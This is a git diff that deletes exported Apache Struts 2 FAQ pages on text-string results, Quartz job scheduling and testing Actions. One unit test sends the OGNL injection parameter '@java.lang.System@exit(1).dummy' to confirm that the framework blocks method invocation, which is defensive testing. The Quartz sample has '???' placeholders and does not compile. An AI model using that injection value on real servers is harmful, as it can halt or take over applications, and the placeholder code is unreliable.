-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How can we return a text string as the response</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-can-we-return-a-text-string-as-the-response.html">How can we return a text string as the response</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How can we return a text string as the response</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68157">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=68157">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68157">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=68157">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68157">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=68157">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="Howcanwereturnatextstringastheresponse-SavethetextstringasanInputStreamproperty">Save the text string as an InputStream property</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package actions;
-
-import java.io.InputStream;
-import java.io.StringBufferInputStream;
-import com.opensymphony.xwork2.ActionSupport;
-
-public class TextResult extends ActionSupport {
-
-  private InputStream inputStream;
-  public InputStream getInputStream() {
-    return inputStream;
-   }
-
-  public String execute() throws Exception {
-    inputStream = new StringBufferInputStream(
-      "Hello World! This is a text string response from a Struts 2 Action.");	
-    return SUCCESS;
-  }
-}
-</pre>
-</div></div>
-
-<h2 id="Howcanwereturnatextstringastheresponse-Specifyatype">Specify a <a shape="rect" href="stream-result.html">Stream Result</a> type</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="text-result" class="actions.TextResult"&gt;
-  &lt;result type="stream"&gt;
-     &lt;param name="contentType"&gt;text/html&lt;/param&gt;
-     &lt;param name="inputName"&gt;inputStream&lt;/param&gt;
-   &lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-can-we-schedule-quartz-jobs.html b/content/docs/how-can-we-schedule-quartz-jobs.html
deleted file mode 100644
index 68d1c8e..0000000
--- a/content/docs/how-can-we-schedule-quartz-jobs.html
+++ /dev/null
@@ -1,225 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How can we schedule Quartz jobs</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-can-we-schedule-quartz-jobs.html">How can we schedule Quartz jobs</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How can we schedule Quartz jobs</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13892">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13892">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13892">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13892">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13892">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13892">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<div class="confluence-information-macro confluence-information-macro-information"><p class="title">About Quartz</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p><a shape="rect" class="external-link" href="http://www.opensymphony.com/quartz/" rel="nofollow">Quartz</a> is a full-featured, open source job scheduling system that can be integrated with, or used along side virtually any J2EE o [...]
-
-<ul><li>Integrating Quartz with the framework requires some glue code.</li></ul>
-
-
-<h2 id="HowcanwescheduleQuartzjobs-CodingaQuartzActionJob">Coding a Quartz ActionJob</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>ActionJob.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package com.trantek.sit.action;
-
-import com.opensymphony.xwork.ActionProxy;
-import com.opensymphony.xwork.ActionProxyFactory;
-import com.opensymphony.xwork.interceptor.component.ComponentInterceptor;
-import org.quartz.Job;
-import org.quartz.JobExecutionContext;
-import org.quartz.JobExecutionException;
-import java.util.HashMap;
-
-public class ActionJob implements Job
-{
-    public void execute(JobExecutionContext context) throws JobExecutionException
-    {
-        try
-        {
-            HashMap ctx = new HashMap();
-            ctx.put(ActionContext.PARAMETERS, context.getJobDetail().getJobDataMap());
-            ctx.put(ComponentInterceptor.COMPONENT_MANAGER, ???);
-            ctx.put(???, ???)
-            ServletDispatcher.createContextMap()
-            ActionProxy proxy = ActionProxyFactory.getFactory().
-                    createActionProxy("", context.getJobDetail().getName(), ctx);
-
-            proxy.execute();
-        }
-        catch (Exception e)
-        {
-            throw new JobExecutionException(e);
-        }
-    }
-}
-</pre>
-</div></div>
-<p>To schedule Actions to be run by Quartz, create a Job where</p>
-<ul><li>The name of your job is the name of the Action to execute (no ".action" equivalent suffix).</li><li>All the parameters being sent to the Action are provided by the JobDataMap of the JobDetail object.
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>According to the Javadocs of <code>org.quartz.ee.servlet.QuartzInitializerServlet</code>, the Quartz scheduler is setup as a servlet.</p></div></div></li></ul>
-
-
-<h2 id="HowcanwescheduleQuartzjobs-SampleQuartzEmailAction">Sample Quartz Email Action</h2>
-
-<p>The following code schedules an e-mail action:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Scheduling an Email Alert</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-Scheduler scheduler = StdSchedulerFactory.getDefaultScheduler();
-
-JobDetail jobDetail = new JobDetail("email.send",
-                                     scheduler.DEFAULT_GROUP, WebWorkJob.class);
-
-Map m = jobDetail.getJobDataMap();
-m.put("to", "me@bogusdomain.com");
-m.put("subject", "quartz test");
-m.put("body", "This is a quartz test, Hey ho");
-m.put("smtpServer", "smtp.bogusdomain.com");
-m.put("from", "quartz@bogusdomain.com");
-
-SimpleTrigger trigger = new SimpleTrigger("myTrigger",
-                                          scheduler.DEFAULT_GROUP,
-                                          new Date(), null, 0, 0L);
-
-scheduler.deleteJob("email.send", scheduler.DEFAULT_GROUP);
-scheduler.scheduleJob(jobDetail, trigger);
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-can-we-test-actions.html b/content/docs/how-can-we-test-actions.html
deleted file mode 100644
index faf00d5..0000000
--- a/content/docs/how-can-we-test-actions.html
+++ /dev/null
@@ -1,252 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How can we test Actions</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-can-we-test-actions.html">How can we test Actions</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How can we test Actions</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31497">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31497">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31497">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31497">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31497">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31497">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The Struts 2 Action doesn't expose HTTP in its signature. When access to HTTP resources is needed, references to these resources can be injected at runtime, but, to the Action, the servlet resources appear as ordinary Maps. When running tests outside of the framework, the test scaffolding can create and set a Map with whatever objects are needed by the test. </p>
-
-<p>There are several approaches to unit testing Struts 2-based applications, whether using <a shape="rect" class="external-link" href="http://junit.org/" rel="nofollow">JUnit</a> or <a shape="rect" class="external-link" href="http://testng.org/" rel="nofollow">TestNG</a>. Two popular techniques are direct Action invocation and testing interceptors and result-types independently.  We will demonstrate both approaches using JUnit 3.</p>
-
-<h2 id="HowcanwetestActions-DirectActionInvocation">Direct Action Invocation</h2>
-
-<p>The simplest approach is to instantiate your Actions, call the appropriate setters, then invoke <code>execute</code>. Calling the Action directly allows you to bypass all the complicated container setup.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Taken from Petsoar</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package org.petsoar.actions.inventory;
-
-import com.mockobjects.constraint.IsEqual;
-import com.mockobjects.dynamic.C;
-import com.mockobjects.dynamic.Mock;
-import com.opensymphony.xwork.Action;
-import junit.framework.TestCase;
-import org.petsoar.pets.Pet;
-import org.petsoar.pets.PetStore;
-
-public class TestViewPet extends TestCase {
-    private Mock mockPetStore;
-    private ViewPet action;
-
-    protected void setUp() throws Exception {
-        mockPetStore = new Mock(PetStore.class);
-        PetStore petStore = (PetStore) mockPetStore.proxy();
-
-        action = new ViewPet();
-        action.setPetStore(petStore);
-    }
-
-    public void testViewPet() throws Exception {
-        Pet existingPet = new Pet();
-        existingPet.setName("harry");
-        existingPet.setId(1);
-
-        Pet expectedPet = new Pet();
-        expectedPet.setName("harry");
-        expectedPet.setId(1);
-
-        mockPetStore.expectAndReturn("getPet", C.args(new IsEqual(new Long(1))), existingPet);
-        action.setId(1);
-
-        String result = action.execute();
-
-        assertEquals(Action.SUCCESS, result);
-        assertEquals(expectedPet, existingPet);
-        mockPetStore.verify();
-    }
-
-    public void testViewPetNoId() throws Exception {
-        mockPetStore.expectAndReturn("getPet", C.ANY_ARGS, null);
-
-        String result = action.execute();
-
-        assertEquals(Action.ERROR, result);
-        assertEquals(1, action.getActionErrors().size());
-        assertEquals("Invalid pet selected.", action.getActionErrors().iterator().next());
-        assertNull(action.getPet());
-        mockPetStore.verify();
-    }
-
-    public void testViewPetInvalidId() throws Exception {
-        action.setId(-1);
-        testViewPetNoId();
-    }
-}
-</pre>
-</div></div>
-
-<h2 id="HowcanwetestActions-TestingInterceptorsand/orResultTypes">Testing Interceptors and/or Result Types</h2>
-
-<p>Check out the test suites in XWork and Struts 2.  These suites are comprehensive and provide a good starting point. Here's an example.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Test for ParametersInterceptor</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public void testDoesNotAllowMethodInvocations() {
-    Map params = new HashMap();
-    params.put("@java.lang.System@exit(1).dummy", "dumb value");
-
-    HashMap extraContext = new HashMap();
-    extraContext.put(ActionContext.PARAMETERS, params);
-
-    try {
-        ActionProxy proxy = ActionProxyFactory.getFactory().
-               createActionProxy("", MockConfigurationProvider.MODEL_DRIVEN_PARAM_TEST, extraContext);
-        assertEquals(Action.SUCCESS, proxy.execute());
-
-        ModelDrivenAction action = (ModelDrivenAction) proxy.getAction();
-        TestBean model = (TestBean) action.getModel();
-
-        String property = System.getProperty("action.security.test");
-        assertNull(property);
-    } catch (Exception e) {
-        e.printStackTrace();
-        fail();
-    }
-}
-</pre>
-</div></div>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> The framework also provides built-in support for JUnit 3.8 via an abstract StrutsTestCase, which provides common Struts variables and setup code. </p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-can-we-test-applications.html b/content/docs/how-can-we-test-applications.html
deleted file mode 100644
index 999e033..0000000
--- a/content/docs/how-can-we-test-applications.html
+++ /dev/null
@@ -1,144 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How can we test applications?</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-can-we-test-applications.html">How can we test applications?</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How can we test applications?</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=28862">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=28862">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=28862">
